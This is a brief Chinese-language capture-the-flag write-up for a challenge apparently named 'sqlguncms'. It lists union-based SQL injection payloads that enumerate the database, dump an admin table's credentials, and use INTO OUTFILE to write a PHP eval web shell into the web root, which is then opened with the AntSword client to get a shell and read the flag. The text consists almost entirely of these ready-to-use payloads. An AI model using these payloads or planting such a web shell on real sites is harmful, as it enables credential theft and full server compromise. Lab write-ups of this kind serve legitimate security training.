sqlguncms
我们这里以比较真实环境来说来源于 Bmzctf平台
那道网站后发现有输入框 ,而且上面有回显内容大大减少了 渗透的步骤

-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin' #
-1 union select 1,group_concat(id,admin,password),3 from admin #
老样子一次得到


不过这里就得不到东西了 那么抓包尝试写入一句话
select “写入的一句话” into outfile ’ 写入的文件’
那么构造语句
key=-1’ union select 1,"<?php phpinfo(); ?>", 3 into outfile ‘/var/www/html/phpinfo.php’#
成功
那么写入一句话木马
key=-1’ union select 1,"<?php @eval($_POST['sql']); ?>", 3 into outfile ‘/var/www/html/Rgylin.php’#
蚁剑链接 得到shell


根目录下得到flag
|